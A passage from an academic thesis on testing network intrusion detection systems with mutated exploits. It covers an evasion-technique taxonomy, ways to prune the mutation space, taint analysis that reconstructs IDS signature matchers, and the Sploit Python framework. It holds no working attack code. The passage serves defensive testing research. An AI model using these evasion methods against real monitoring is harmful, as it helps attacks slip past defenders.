clude XOR-encoded payloads with 16-bit sliding keys, randomized
NOP generation, support for banned characters, upper/lower resis-
tance, and polymorphic payload decoder generation with multiple
code paths. The tool also allows for the insertion of non-destructive
junk instructions and the reordering/substitution of code.

Alternate Encodings
Type: Obfuscation
Flags: Reversible, Target-specific, Recommended

Many applications allow for multiple encodings of data to be trans-
ferred across the network, for such reasons as performance or to
preserve the integrity of data. Examples of this include BASE-64
or archive formats such as TAR or ZIP. In particular, some NIDSs
neglect to normalize HTTP traffic and are still vulnerable to the
well-known technique of URL-encoding attack strings.
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Technique Mutation Class Characteristics
R T I S

IPv6 Morphing
√ √

IP packet splitting Deception
√ √ √ √

Protocol Rounds Exhaustion
√ √

FTP escape characters Parser Trap
√ √

R

Malformed HTTP Parser Trap
√ √

SSL null record Deception
√ √

Polymorphic shellcode Obfuscation

Alternate encoding Obfuscation
√ √

R

Table 4.1: Classification of some mutation techniques.
(Legenda: R=reversible, T=target specific, I=iterative, S=standard)

4.4. The Oracle Problem

In section 4.1.2 we introduced two solutions to test the effectiveness of
the mutant exploits that we generate: formally prove the soundness of the
mutation process, or execute each mutant in a testbed environment and
verify the attack result. Unfortunately, in the previous section we excluded
the first approach, because there is no way to known in advance the effect
that the combination of multiple transformations of an attack is going to
produce on the target system.

We then adopt the conservative solution of testing each mutant on the
field. To address this issue, we rely on an oracle to determine if an attack
has been successful or not. In most cases, the oracle mechanism can be
embedded in the exploit itself, for example by crafting an exploit so that
it will generate side effects that can be checked to determine if the exploit
was successful. However, it is not always possible to generate evidence of
the effectiveness of an attack as part of its execution, and, for those cases,
an external oracle program that reports on the outcome of specific attacks
has to be developed.

The oracle can adopt several techniques to test the success of an exploit
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attempt, depending on the suitability of a method in relation to a given
exploit. One commonly used way of determining the success of an attack
is to insert and execute a payload in the context of the exploited target
application that simply sends back a string indicating that control was
successfully transferred to the exploit code. Another method, in the case
that the previous one is impossible or inconvenient to implement, is to
read the content of a file that requires certain privileges, or create a file in
a known location. A subsequent check over an auxiliary channel for the
existence of the file is then made after every exploit attempts to determine
whether each instance was successful.

4.5. Summary

This chapter presented the basis of our testing methodology. We intro-
duced the design criteria for both the attack and the mutation models. A
large part of the chapter is dedicated to the theory of mutant operators, and
many examples are explained in details. The problem of mutant exploit
verification concludes the analysis of our test case generation technique.

We want to emphasize the fact that our approach is:

• Automatic - once the attack template has been written and the mu-
tant operator selected, the process that creates and executes the
mutants is totally automatic.

• Deterministic and Reproducible - the deterministic hypothesis guar-
antees that the whole testing experiment is deterministic and there-
fore the results are reproducible.

• Correct - all the generated mutants are supposed to be functional
exploits. Anyway, in order to avoid possible mistakes, an oracle
identifies and excludes the ineffective mutants from the experiments
results.

Two main issues remain to be addressed: (1) given a huge number of
possible mutants, how to choose which instances to execute first, and (2)
how to combine everything together in a framework that allows to auto-
matically test intrusion detection signatures. A description of both static
and dynamic techniques to select a subset of the mutant exploits to be used
in a test experiment are presented in the next chapter. Finally, Chapter 6
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introduces Sploit, the implementation of our approach. The chapter ex-
plains how the design choice presented in this chapter have been applied
in the development of the tool.



chapter five

Exploring the Mutation Space

Space is big.
You just won’t believe how vastly,
hugely, mind-bogglingly big it is.

I mean, you may think it’s a long way
down the road to the drug store,
but that’s just peanuts to space

Douglas Adams

Certain mutant operators can transform an exploit template in an in-
finite number of ways. In addition, multiple mutant operators can be
composed together for more complicated functions. Thus, the number of
possible mutations quickly grows very large. Effective exploration of the
mutation space, that is, selecting the subset of mutant operators to apply
and choosing reasonable parameters for each transformation so that the
resulting attack evades detection, is a complex problem.

Some guidance about how to explore the mutation space can be derived
from the signatures themselves. For example, by looking at which features
of the network traffic are analyzed by a signature, it is possible to focus
the evasion efforts on using mutant operators that affect those features.
Unfortunately, in the case of closed-source systems, no information about
the used signatures is available.

In this chapter we analyze two different techniques to approach the prob-
lem of mutation space exploration in presence of black box signatures: a
set of heuristics that can help selecting a small subset of mutants and an
approach based on dynamic analysis to reduce the mutation space using
information derived from the way the IDS detects an attack.
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Figure 5.1: Mutation Space

5.1. Introduction to the Mutation Space

Figure 5.1 shows how a mutant can be represented as a point in a high
dimensional space (Mutation Space or simply MS). Each axis in the MS
is a different mutation technique and the values on the axis represent com-
binations of the operator parameters. For instance, an operator that im-
plements the IP fragmentation can have the packet size as parameter while
an operator that change the separator character in a HTTP request can
have on its axis the possible characters that can be used in the substi-
tution (tab, space, line feed . . . ). The value 0 of each axis has a special
meaning: it means that the mutant operator is not applied. In fact, the
mutant that corresponds to the origin of the mutation space is called M0

and corresponds to the baseline (non mutated) exploit.

Thus, in a space with three mutant operators (µA, µB , µC), the mutant
corresponding to the point (2, 0, 3) is built applying µA(µC(E, 3), 2) where
µX(E,n) means applying the mutant operator X to the exploit template
E using the nth parameter value. It is important to note that an order
between the axis (i.e., between the mutant operators) must be specified to
ensure that at each point corresponds one and only one mutant. There
is a “natural” order between mutation techniques dictated by the layer in
which they are applied, and sometimes there is also a “logical” order due to
the type of transformation applied (e.g., a mutant operator that add new
data to the stream should be applied before an operator that modify the
data encoding). Of course, the user is free to execute different experiments
setting each time a different order between the mutation space axis.
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Not all the points in the mutation space are meaningful. In fact, it
is important to remember that it is possible that two mutant operators
cannot be applied together (e.g., an operator that switches to an old version
of a protocol and an operator that requires some features present only in a
newer version) or that a particular combination is not sound. The presence
of an oracle guarantees that mutants resulting in ineffective attacks can be
identified and removed from the experiment. We define Intrusion Space
I ⊆ MS the subset of the mutation space containing only the mutants for
which the oracle gives a positive answer. Unfortunately, the intrusion space
cannot be known “a priori” since it requires each mutant to be executed
at least once to enable the oracle to test the result of the attack.

The high cardinality of the mutation space is probably the biggest prob-
lem in the whole mutant generation process. Combining ten mutant oper-
ators, each with ten possible parameter values, lead to a mutation space
that contains 1010 mutants. Even if we could try one mutant per second,
we would need more than 100.000 years to explore the whole space. So,
starting from a single exploit instance, now we have the problem that we
can potentially generate too many test cases. Thus, especially when multi-
ple mutant operators can be combined together, a more focused approach
to search the mutation space is required.

When the specifications of the signatures under test are available, the
tester can make use of this information to modify only those parts of
the attack that are checked by the attack signatures. Unfortunately, most
commercial vendors of intrusion detection systems consider their signatures
to be a trade secret, and even Sourcefire, the developers of the well-known
open-source IDS Snort [roesch99], have coined a rule set (referred to as
VRT certified rules) that is not immediately available to the general public.
Thus, in general, one cannot rely on the knowledge of the model to drive
the exploration of the mutant space.

In case of closed source systems the generation of attack variations has
to be performed “blindly”. Typically, this implies that all possible combi-
nations of available mutant transformations must be applied. As a result,
the effectiveness of the whole process is greatly reduced.

In the rest of the chapter we analyze two different approaches to reduce
the size of the mutation space.
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5.2. Static Techniques

Static techniques do not assume any knowledge of the detection model
under analysis. The target is seen as a completely black box, thus reduc-
ing the set of the possible approaches to a set of heuristic based on the
characteristics of common evasions.

5.2.1. Reducing the space size through parameters tuning

Sometimes a parameter can assume a wide (potentially infinite) range of
values. For example, we can consider the application-level transformation
that consists in modifying the number of space characters between the
HTTP method (i.e., GET, HEAD . . . ) and the URL. This simple mutant
operator can generate thousands of mutants, one for each number of space
characters. However, most of them are probably useless from an evasion
point of view, since it would be very bizarre (but unfortunately not im-
possible) that an IDS can correctly understand a request with a 5 space
delimiter but it then fails parsing a request containing 6 spaces.

In order to reduce the cardinality of the mutation space it is necessary
to partition the values of the operators parameters, generating only one
mutant for each partition. In the previous example it would be reasonable
to configure the mutant operator to use only three different values for its
parameter, corresponding for instance to a delimiter string containing 0,
2, or 1000 spaces.

This is very similar to the common testing practice called input space
partitioning. The idea consists in partitioning the input space of a program
according with its code (white box approach) or its specifications (black
box approach). Each partition represents a subset of the input space that
requires the same elaboration by the program [weyuker91]. In our previ-
ous example, we can imagine three different behaviors from the detection
model: (1) the protocol parser expects exactly one space character as de-
limiter, (2) the parser can handle multiple spaces, but there is an upper
limit in the total size of the request, and (3) the model can manage de-
limiters containing an arbitrary number of spaces (note that this is just
an hypothesis since in our scenario we do not have neither the signature
code, nor its specifications). Once the partitions have been identified, the
experiment proceeds generating one test case for each partition.

Another optimization that is very important consists in reducing as much
as possible the number of invalid mutants, i.e., the points that do not be-
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long to the Intrusion Space. There are two main causes of invalid mutants.
The first is due to an unsound combination of mutant operators and it is
very difficult to be identified in advance, also for an expert user. Fortu-
nately, the second source of invalid mutants can be easily removed before
starting the testing phase. In fact, many mutant operators are imple-
mented to be reusable in multiple exploits. For example, an operator that
introduces escape characters in an FTP communication is designed to be
used in any testing experiment that involve an FTP-based attack. In or-
der to be as general as possible, such an operator can generate a different
mutation for each possible escape character. The problem is that not all
the FTP servers accept the same escape characters: thus, a parameter
combination that generates a valid mutant against a certain server, may
generate ineffective attacks against a different one.

This example shows how, before starting the actual mutant generation,
each mutant operator should be properly tuned to the target service and
all the parameter values that generate invalid attacks must be removed
from the mutation space. The task can be easily automatized writing a
program that sends simple commands to the server, applying each time
the mutant operator with a different parameter value. All the values that
generate mutants that are not properly understood by the server can be
safely removed from the mutation space for all the following experiments.

5.2.2. Heuristics

After all the invalid parameter values have been removed and the remaining
values have been properly aggregated in few clusters, the mutation space
could still contain hundred of thousands of mutants.

Even though trying all of them is infeasible, we must not forget that
the purpose of testing is spotting bugs, not proving their absence. So, we
need to develop some clever way to explore the mutation space so that the
probability to find a flaw in the IDS detection model is maximized with
respect to the number of mutants executed.

If the mutation space contains a mutant that is able to evade the NIDS,
an exhaustive coverage of the whole space is the only way to be sure to
find it. However, a brute force approach can require an unfeasible amount
of time. In this section we analyze different techniques that can provide a
reasonable chance to find an evasion by sampling only particular points in
the mutation space.
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The first approach consists in applying only one operator at a time, which
corresponds to explore the mutation space moving along the axis. In the
case of two mutant operators, µA, µB, with NA and NB parameters values,
this technique can generate NA + NB mutants:

Ex = OneAtTheTime ⇒































































E1 = µA(E0, 1)
E2 = µA(E0, 2)
E3 = µA(E0, 3)
Em = µA(E0,NA)
. . .
ENA+1 = µB(E0, 1)
ENA+2 = µB(E0, 2)
. . .
ENA+NB

= µB(E0,NB)

This simple approach can provide useful information about which trans-
formations are correctly identified by the NIDS and it is sometime enough
to find a way to evade detection. However, since it generates a very small
amount of mutants, it is often the first step to try in any testing experi-
ments.

A small variation of the OneAtTheTime approach can also be used to find
chain evasions. The idea is to try one operator at the time until a mutant
can evade the first alert (note that in this case the attack is still detected,
since the IDS identifies the evasion attempt). At this point, the mutant
operator is fixed and the process restarts from the beginning, trying again
one operator at the time looking for a way to evade the second alert. This
process can be iterated until all the alerts have been evaded. If at a given
time there are more than one operator that can be used to evade an alert,
both directions must be explored.

When both the previous methods fail, it means that the signature cannot
be evaded or that it may require to combine more than one operator.
Finding cooperative evasions can be very difficult but, fortunately, most
of these evasions involve not more than a couple of operators. Trying
all the possible combination of two of them (that corresponds to cover the
mutation space only along the planes between two axis) can be a reasonable
tradeoff. In presence of 10 operators with 10 parameters values each, the
plane coverage exploration generates 4500 mutants, still far below the 1010

mutants present in the whole mutation space.
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5.3. Dynamic Techniques

In this section, we propose a novel approach to drive the exploration of the
mutation space based on information gathered by analyzing the dynamic
behavior of the intrusion detection system.

In particular, we are interested to know which mutations can have a
possible impact on the detection result. Clearly, those mutations that
only modify properties of the attack that are ignored by the intrusion
detection system can be omitted. For example, trying to disguise a string
in the payload by applying different encodings is of little benefit when the
detection model only checks for a particular value in the packet header.

Our approach applies data flow analysis techniques to the intrusion detec-
tion system binary to identify which and how certain parts of the network
trace are used to detect and identify an attack.

More precisely, we are interested in the positions of all values, or bytes,
in every network packet (belonging to the trace) that are used during
the detection process. The idea is that the mutant generation engine can
restrict its operations to modify these values only, since the remaining
input has no influence on the outcome of the IDS sensor’s decision.

5.3.1. Dynamic Data Flow Analysis

To determine those input bytes that affect detection, we propose to dy-
namically monitor the intrusion detection sensor while it is processing an
attack trace 1. In particular, we tag each input byte of the network trace
that is read by the IDS process into its address space (typically using the
socket system call interface) with a unique label. This label establishes a
clear relationship between a particular input byte and a location in mem-
ory. Then, we keep track of each labeled value as the sensor’s execution
progresses. To this end, the output of every instruction that uses a la-
beled value as input is tagged with the same label as well. For example,
consider the case of a data move operation that loads a value with label
“123” from memory into a register. After the instruction was executed,

1 A first step towards a guided form of mutation exploration was presented
in [kruegel05], where the authors reversed engineered a commercial, closed-source in-
trusion detection systems to determine the inner workings of the signature matching
process. He introduced the use of dynamic analysis to identify which portions of an
attack were actually used in the signature matching process. The results of this analysis
were used to guide manual evasion attacks.
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the content of the target register is now labeled with “123”. Clearly, it is
possible that the result of an operation depends on more than one input
byte. For example, consider an operation that adds together two values,
each of which is tagged with a different label. In this case, the result is
tagged with a set that holds both labels. Thus, in our system, a memory
location or a register is not tagged with only a single label but with a set
of labels (called label-set).

Machine instructions typically read one or more data values from regis-
ter or memory locations that are specified by their source operands. These
values are then processed and a result is written to the location specified
by the destination operand. For example, move operations (e.g., mov),
arithmetic instructions (e.g., add), logic operations (e.g., and), and stack
manipulation operations (e.g., push, pop) all belong to this class. These
instructions can be treated similar insofar as the label-set that is assigned
to the result of such an operation can be calculated as the union of the
label-sets of all its operands. Propagating label information by tracking
the use of input bytes as source (and destination) operands results in an
analysis that is very similar to the propagation of taint values in perl or
implemented by TaintCheck [newsome05]. That is, for every instruction
that is executed, we can determine whether there exists a direct depen-
dency of the value of one or more of its operands on certain input bytes.

In addition to operand values that are directly influenced by labeled
input, input bytes can also have an indirect influence. More precisely, the
value of a memory operand can also depend on the value of an input byte if
this byte is used during the operand’s address calculation. That is, when
a labeled value is used to determine the location from which a certain
value is loaded, the outcome of the load operation depends not only on the
loaded value itself (direct dependency) but also on the memory address
where this value is taken from. Consider, for example, an operand that
loads its value from a memory address specified indirectly by a register.
In this case, the label-set of the register has to be taken into account to
determine the label-set for the loaded value. In particular, when a value
is loaded from memory location L, we perform the union of the label-set
of the value at location L with the label-sets of all values that are used to
determine the address L.

Another typical example for an indirect dependency is the use of a la-
beled byte as the index into a table. In this case, the result of the table
lookup does not directly depend on the input value, but is indirectly influ-
enced by the selection of the respective table element. It is important that
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indirect dependencies are tracked as well. Otherwise, the simple trans-
formation of a string contained in the payload of a network packet into
its uppercase representation (using the glibc toupper() function) would
break the dependencies between the resulting string and the original la-
beled input. The reason is that toupper() relies on a table that stores
the mappings of all 255 possible input characters to their corresponding
uppercase representations (of course, in many cases, this representation is
identical to the original character).

As mentioned previously, we attempt to identify all input bytes that can
influence the detection process. A byte of the network trace is considered
to be involved in the detection process, if it can have any influence on
the IDS sensor’s control flow. More precisely, the control flow can be
influenced by an input byte whenever the outcome of a conditional branch
or the target of an indirect control transfer instruction (i.e., indirect call
or jmp instruction) depends on this byte. Based on the propagation of
label-sets during program execution, the influence of input bytes on control
flow decisions can be determined in a straightforward fashion. To this end,
whenever a labeled operand is used in a branch or indirect control flow
operation, its label-set can be inspected and the appropriate labels are
extracted. An interesting technical detail is related to the fact that the
Intel x86 instruction set does not contain conditional branch instructions
that use register or memory operands. Instead, these branch instructions
evaluate a number of flag bits, which are usually set by preceding compare
or test instructions. As a result, our dynamic analysis has to retain the
label-sets of operands of compare and test operations until a conditional
branch operation is encountered.

5.3.2. Constraints generation

In addition to the knowledge of what bytes of a trace are used to identify an
attack, dynamic data flow analysis can be extended to also determine how
these bytes are used. Input can be used in different fashion by an intrusion
detection sensor. In the simplest case, a single input byte is compared for
equality with a constant. More complex cases involve multiple bytes, either
as 16-bit or 32-bit numerical values or even as strings.
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Basic constraints

Whenever input values are compared with (numeric) constants, this infor-
mation can be recorded and later used to generate more efficient mutants.
Thus, when observing a comparison operation between a labeled value,
which indicates that this value somehow depends on the input, and a con-
stant, we check whether this comparison can be used to generate a basic
constraint. For example, a constraint could specify that the 16-bit short
value in the UDP header that represents the destination port was used in
an equality comparison with the constant 80.

We define basic constraint a relation between a value in the input trace
and a constant that was observed to hold on the execution trace. The
value in the input trace can be either a byte, a short 16-bit, or a long
32-bit integer. 16-bit short values are recognized by two labeled bytes
whose labels are back-to-back. For example, consider a value that is used
in a 16-bit comparison. The label of the low-order byte is “471” and the
value of the high-order byte is “470”. In this case, our system recognizes
these two bytes with consecutive labels as a single 16-bit short value in the
input. Note that the high-order byte has the lower label, because integers
on the network are transmitted with the most significant byte first. The
situation is analogous for 32-bit values, but four consecutive labels are
required instead of two.

A comparison operation is used to generate a basic constraint only when
the labeled operand directly depends on the input. In addition, it is re-
quired that each byte of the operand value depends on only a single input
byte (i.e., the label-set associated with each byte contains only a single
label). These restrictions ensure that we only generate a constraint when
a change of the input value gets directly reflected in the operand of cor-
responding comparison. Otherwise, it is not possible to predict the effect
of a change in the input and it is sufficient for the mutant generation to
know that a certain input byte has some effect (without any knowledge of
the exact check performed).

Basic constraints provide valuable guidance for the mutant generation.
In particular, the mutant generation engine can attempt to modify the
traces such that constraints are violated that were collected when the IDS
sensor successfully detected the attack. Of course, it is not always possible
to modify input values that are part of constraints. To continue with the
previous exemplary basic constraint (which related the destination port to
80), the mutant engine probably cannot change the destination port value



Chapter 5. Exploring the Mutation Space 85

without rendering the attack ineffective as well.

String constraints

Unfortunately (for the attacker), most intrusion detection systems use sig-
natures that do not only check for numeric values but also specify strings or
regular expressions that are matched against the complete packet payload
or parts thereof. In such cases, the strings that are searched for cannot
be easily determined by looking at basic constraints. More precisely, the
basic constraints generated as byproduct of the pattern matching process
usually provide no indication of which strings the sensor is searching for.
The situation is exacerbated by the fact that most pattern matching algo-
rithms do not directly compare input bytes with expected character values
but use state machines or shift tables to find relevant matching strings. In
these cases, the input bytes are not directly used in comparison operations
but indirectly by indexing a state transition matrix or a shift table. Thus,
a different approach than simple constraints are required to extract the
strings, or even regular expressions, that the pattern matching component
of an IDS sensor is looking for.

Our technique to extract strings and regular expressions is based on
the observation that most pattern matching algorithms use an (explicit or
implicit) finite state machine to perform the matching task. That is, at
every point of its analysis, the pattern matcher resides in a certain state.
Whenever a new input character is checked (or consumed), a transition is
performed and the pattern matcher follows the appropriate outgoing edge
of the current state to the next state (which, of course, can be the same
state again). The idea is to map the finite state machine of the pattern
matcher; that is, we gradually explore all its states and transitions. When
all states and transitions can be recovered, we dispose of the complete
knowledge of strings that trigger the pattern matcher.

The process of mapping out the finite state automaton is performed by
sending a series of carefully crafted packets with slightly different content.
We start this process by sending a packet with a payload that contains
an initial string composed of a sequence of identical padding characters.
Optimally, the padding character is not part of any string that the pat-
tern matcher searches for. However, this is not strictly required and any
character can be selected, provided that repetitions of this character do
not result in a matched pattern. This can be easily checked by inspecting
the detection result reported by the IDS sensor. The execution trace that
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is obtained when the pattern matcher processes the initial string provides
us with the possibility to determine a starting point for our analysis. In
particular, after the pattern matcher has consumed a number of identi-
cal characters, an additional instance of this character should not cause
a transition to another state. That is, the pattern matcher remains in a
certain state as more padding characters are consumed. If this behavior
can be observed in the initial trace, we consider this state the initial point
for our analysis. Otherwise, a different padding character is chosen.

Based on the initial state, we can start the reconstruction of the finite
state machine (or automaton) of the pattern matcher. This is done by
injecting a single character of the input alphabet into the initial string
and observe the change in the execution trace. In particular, we record
the target state after the pattern matcher has processed the just injected
character. This target state is included into our reconstruction of the
pattern matcher automaton, and we insert an edge from the initial state
to this target state, labeled with the input character. The process is then
repeated by iterating over the remaining characters of the input alphabet,
each time recording the target state of the transition that is based on
the novel character. When a target state has not been seen before, it
is included into our state machine (automaton) reconstruction. In any
case, an appropriate edge is added as well. Whenever a state is added
to the automaton, we associate with it the string that was sent to the
pattern matcher. This string is subsequently used to explore the outgoing
transitions of the new state. Note that the input alphabet will typically
contain all possible 255 single-byte characters, but it can also be a smaller
subset (e.g., alphanumeric values only).

After all possible outgoing edges (i.e., transitions) of the initial state
have been traversed, the process is repeated for the target states. More
precisely, for each state, we explore a transition by appending one character
from the input alphabet to the string associated with this state (i.e., the
string that was used to drive the finite state automaton into this state).
As before, the target state is recorded for this input character and added
to our automaton when not encountered before. To map all transitions for
a state, all characters from the input alphabet are taken, and appropriate
edges are inserted. The process is repeated until all states have been
visited. At this point, the complete pattern matching automaton has been
reconstructed.

To understand the process of mapping the states and transitions of a
finite state pattern matcher in detail, a number of questions need to be
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answered. In particular, we have to introduce our approach to define the
states of the pattern matcher and describe the mechanism to recognize
transitions.

The state of a pattern matcher is defined as the content (i.e., the values)
of all memory addresses and registers that are relevant for the matching
process. In this definition, the term “relevant memory addresses and reg-
isters” refers to those locations that are either read or written between two
state transitions. Of course, it is possible that a certain location is both
read and written (or even overwritten multiple times) between two tran-
sitions. In these cases, only the last read or write operation is taken into
account. More precisely, the content of all relevant locations is taken as
a snapshot directly before the state transition. The rationale behind our
state definition is the fact that if the relevant memory content between two
execution traces is identical at the point before a state transition, the out-
come of the matching process is only determined by the characters that are
consumed afterwards. In other words, the previous consumed characters,
even if different, have lead the pattern matcher into the same state.

Unfortunately, including all memory addresses and registers that are
touched (either read or written) into the state can be problematic. For
example, consider a variable that counts the number of input bytes that
have been processed so far. Another example are pointers into the input
stream that are increased every time a new character is processed. If
these values were included into the description of a state, identical states
would be recognized as different, thereby preventing the extraction of the
desired state machine. The underlying problem is related to variables
that are updated between state transitions (such as a pointer into the
input string), but that are not related to the internal state of the pattern
matching process.

To prevent variables that are not directly related to the internal state of
the pattern matcher from incorrectly being included, two execution traces
are performed. Recall that whenever a transition of a certain state must
be analyzed, a character from the input alphabet is appended to the string
associated with this state. The resulting string is then embedded into
the packet payload (using padding characters) and sent to the IDS sensor.
Finally, the execution trace is examined. To exclude unrelated variables,
this process is extended by sending the resulting string twice instead of only
once. The second time, however, the string is shifted by a few bytes. The
two execution traces are independently used to determine the respective
target states. Then, both states are compared and all locations (memory
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addresses and registers) that are different are removed. The idea behind
this procedure is that, since the same string is sent twice, all variables that
are directly related to the pattern matching process, should be identical.
Locations that store values related to the position inside the payload, on
the other hand, differ and can be removed.

It is also possible that locations are occasionally touched (read or written)
that are completely unrelated to the pattern matching process. Including
these locations into the state is not problematic, provided that they are
always the same for a particular internal state of the finite state machine.
We have not observed such a problem in our experiments. One reason
likely is that pattern matching is usually performance critical and thus,
coded as tight as possible.

Besides the definition of states, the correct recognition of state transitions
constitutes a central part of our automaton reconstruction procedure. A
transition from one state to another occurs every time a new input char-
acter is processed (or consumed). This event is recognized by checking for
points in the execution trace where a labeled input byte is used in a control
flow decision for the first time. That is, whenever a certain labeled byte
is used in a control flow decision (i.e., as operand of a branch instruction
or as target of an indirect jump/call) for the first time, we know that, at
this point, the state of the automaton includes the information about that
input byte. In other words, the automaton must have consumed the input
byte and updated its internal state accordingly.

Whenever we locate a control flow instruction It that uses a labeled input
byte b for the first time, the state transition for this character has already
occurred. Thus, we also have to locate the control flow instruction Is

(based on labeled input) that occurred immediately before It. The newly
consumed input byte b did not effect the program’s execution until Is but
possibly affects the outcome of instruction It. Thus, we assume that a
state transition, based on b, has occurred between the previous control
flow instruction Is and the current one It. In our approach, Is is the last
instruction that is executed while the automaton resides in the source state.
The following instruction (starting with Is+1) already belongs to the target
state of the transition. Therefore, the source state is calculated by taking
into account all register and memory accesses starting from the previous
transition until Is. The target state is derived based on the memory and
register accesses from Is + 1 until the following transition.

Before the pattern matcher starts its search process (in the initial state),
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the set of already consumed labels is empty. As the matching progresses,
the execution trace is analyzed for control transfer instructions. For each
of these instructions, we check the labels of the operands and compare
them to the elements of the set of already consumed labels. When a
label is found that is not yet a member of the set, the corresponding
transition is located in the execution trace (as described previously) and
the label is added to the set. Note that it is possible that multiple new
labels are identified at a certain control flow instruction. This situation
implies that the pattern matcher has consumed more than a single input
character before switching into a new state. However, no special treatment
is required. It is only necessary to record this fact by tagging the edge in
the reconstructed automaton appropriately.

When reflecting on our approach to recognize transitions, an important
underlying assumption becomes evident, which states that each input byte
is only considered once for a state transition. That is, we assume that there
is a deterministic, finite state machine underlying the pattern matching
process that checks each input byte at most once. In other words, it is
not necessary to backtrack and “undo” previous state transitions. This
assumption holds for many important algorithms that search for single
strings (such as Boyer-Moore) or multiple strings in parallel (such as Aho-
Corasick). However, is not generally valid for algorithms that decide if
(and how) a given string matches a regular expression.

For regular expressions, there are two main techniques. One relies on a
deterministic, finite automaton, which is extracted from a non-deterministic
representation of the regular expression. For implementations using this
technique (e.g., Henry Spencer’s regular expression library for C, which
was later utilized in Perl), our approach is capable of correctly reconstruct-
ing the automaton. However, the second technique for regular expression
matching relies on backtracking. Backtracking is required in cases where
the regular expression language provides an expressive power that exceeds
regular languages. For example, the ability to group a subexpression with
brackets and recall it in the same expression is not present in a regular
language (and cannot be realized with a finite state machine). Thus, for
backtracking implementations (such as the PCRE - Perl-compatible reg-
ular expression library), our automaton reconstruction will not produce
correct results. Typically, a reconstructed automaton will accept more
than the actual regular expressions because it cannot model “secondary
checks” done via backtracking.
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5.3.3. Efficient Mutant Generation

The set of constraints derived from the dynamic taint analysis of an IDS
is an invaluable source of information that can be used to drive the explo-
ration of the mutation space.

First of all, we can consider the simple constraint position. That in-
formation is enough to trim the mutation space, removing all the mutant
operators that do not affect the way the intrusion detection system detects
the attack.

For example, many buffer overflow signatures focus on finding the pres-
ence of a shellcode to identify the intrusion attempt. This usually means
looking for pattern of bytes of some well known shellcode or for sequences
of characters usually adopted as NOP sled. For this reason, mutant op-
erators that modify the shellcode can be very useful in evading common
NIDSs. Of course, if the dynamic analysis tells us that the IDS did not
perform any check in the section containing the shellcode, we could safely
remove all those operators from the mutation space.

After this initial phase, we can introduce a second step based on a local
simulation routine. To further reduce the size of the mutation space, we
can simulate the execution of each mutant operator and check whether it is
able to violate at least one of the constraints. So, here we do not consider
only the constraint position, but also its actual value. This phase removes
the operators that can affect the piece of network trace detected by the
NIDS, but in a way that do not allow the attack to evade detection.

For example, consider the case in which a signature checks for the pres-
ence of a particular string in the URL field of an HTTP request. The first
phase removes all the operators that cannot modify the URL. Unfortu-
nately, an hypothetical transformation that prepends a character to the
URL would have successfully passed the test. With the introduction of
the simulation routine we can spot that the previous operator is useless in
this situation, beacuse prepending a character to an existing string does
not affect the string matching result.

These considerations do not apply to all the mutant operators in the
same way. Referring to the taxonomy presented in section 4.3.1 we can
distinguish the following cases:

• Obfuscation and Morphing techniques
These transformations are the more involved in the dynamic con-
straints evaluation process. They can be disabled whenever they do
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not apply to at least one of the constraint position.

• Parser trap techniques
Parser traps aim at confusing the IDS protocol parsers. So, they
can be used whenever they apply to the protocol that governs the
data in which the constraints are found. The simulation routine
does not apply to these operators because their purpose is not to
modify the data, but to make the protocol parser ineffective in such
a way that the data are not properly recognized. For example, if
a signature looks for a certain string in the URL field of an HTTP
request, obfuscation and morphing techniques would try to modify
the URL such that the result does not contain that string. A parser
trap operator, instead, would try to modify the whole HTTP request
in a way that the signature does not understand anymore which part
of the traffic is the URL.

• Exausting and Deception techniques
These two techniques are not involved in the current dynamic pro-
cess. In fact, they both try to fool the intrusion detection system,
without modifying the original packet payloads. For this reason, they
can be initially disabled and then used only if all the other techniques
fail.

By applying the previous refining phases 2, the resulting mutation space
usually becomes at least several orders of magnitude smaller than the orig-
inal one. In case the resulting space was empty, it means that some con-
straints could not be evaded by the available mutant operators. More
general mutation techniques could be used to try to evade the IDS, but at
the very least a significant portion of the mutation space can be eliminated
instead of attempting thousands or millions of mutants to reach the same
conclusion. If the space is not empty, it can then be explored using one of
the static approach presented in the heuristics section 5.2.2.

2How this process has been practically implemented in our tool is described in details
in Section 6.2.





chapter six

Sploit: a Prototype

Implementation

In theory there is no difference
between theory and practice.

In practice there is

Yogi Berra

This chapter presents Sploit, a complete and extensible framework that
has been designed to test the effectiveness of network-based intrusion de-
tection systems against mutant exploits. The Sploit core is an engine
that is able to automatically apply multiple transformations to an attack
script, generating a large number of exploit variations that can be used to
test the detection capabilities of a given NIDS.

6.1. System Architecture

Everything in Sploit, from the core engine to the graphical user interface,
is written in Python. This may appear a weird decision for a tool that
needs to create and manage network packets, but we believe that also for
this low-level task the advantages outweigh the disadvantages. In fact,
there are a large number of Python libraries to work with all the more
diffused protocols, from the higher to the lower layer of the OSI stack. Of
course, packet generation with Python is not as fast as it could be if it was
implemented in C or in some other compiled languages, but it is incredibly
easier and, after all, performances are not an issue in our methodology.
According with these considerations, scripting languages are often used to
write exploit scripts, and also all the most famous exploit execution envi-
ronments [metasploit, immunity:canvas, core:impact] are based on either
Perl or Python.

An overview of the framework architecture is depicted in Figure 6.1. The
diagram shows the logical relationships between the various Sploit com-
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ponents. The attack template is a python class that contains the code
of the attack, written using some of the libraries provided by the Sploit
framework. Each of them provides a number of hooks where one or more
transformation functions (implemented in the mutant operator objects)
can be registered to modify the attack execution.

The ordered list of mutant operators (each one with the possible values
that its parameters can assume) defines the mutation space. The algorithm
used to explore such a space is implemented in a mutant factory object.
It is the mutant factory that decides which mutant operators (and with
which parameters values) must be applied to generate a certain mutant.
After a mutant has been executed, the intrusion detection alerts should be
collected and correctly correlated with the launched attacks. This action
is performed by the alert collectors.

The Sploit Engine takes care of putting everything together in a complete
and easy to use testing environment. We can briefly summarize the whole
process as follows:

• Setup Phase (done manually)

1. The user selects the exploit script.

2. The user configures the mutation space.

3. The user chooses the mutant factory and sets the network and
execution options.

• Execution Phase (done automatically)

1. The engine asks the mutant factory how to build the next mu-
tant.

2. The engine applies the correct mutant operators to the base
exploit.

3. The mutant is executed against the target.

4. The engine asks the oracle whether the attack was successful or
not.

5. The alert messages are collected from the IDS sensors

6. If all the mutants have been executed, stop the process. Oth-
erwise pass the attack results and the alert messages to the
mutant factory and restart from the first step.
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Figure 6.1: Exploit mutation framework.
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c l a s s Exp lo i t ( HasParameters ) :

de f s e t up ( s e l f )
‘ ‘ ‘ Setup the e xp l o i t .

The engine c a l l s t h i s funct i on only once
be f o r e running the e xp l o i t ’ ’ ’

de f tear down ( s e l f )
‘ ‘ ‘ Tear down the e xp l o i t .

The engine c a l l s t h i s funct i on only once
a f t e r the execut ion o f the l a s t mutant ’ ’ ’

de f execute ( s e l f )
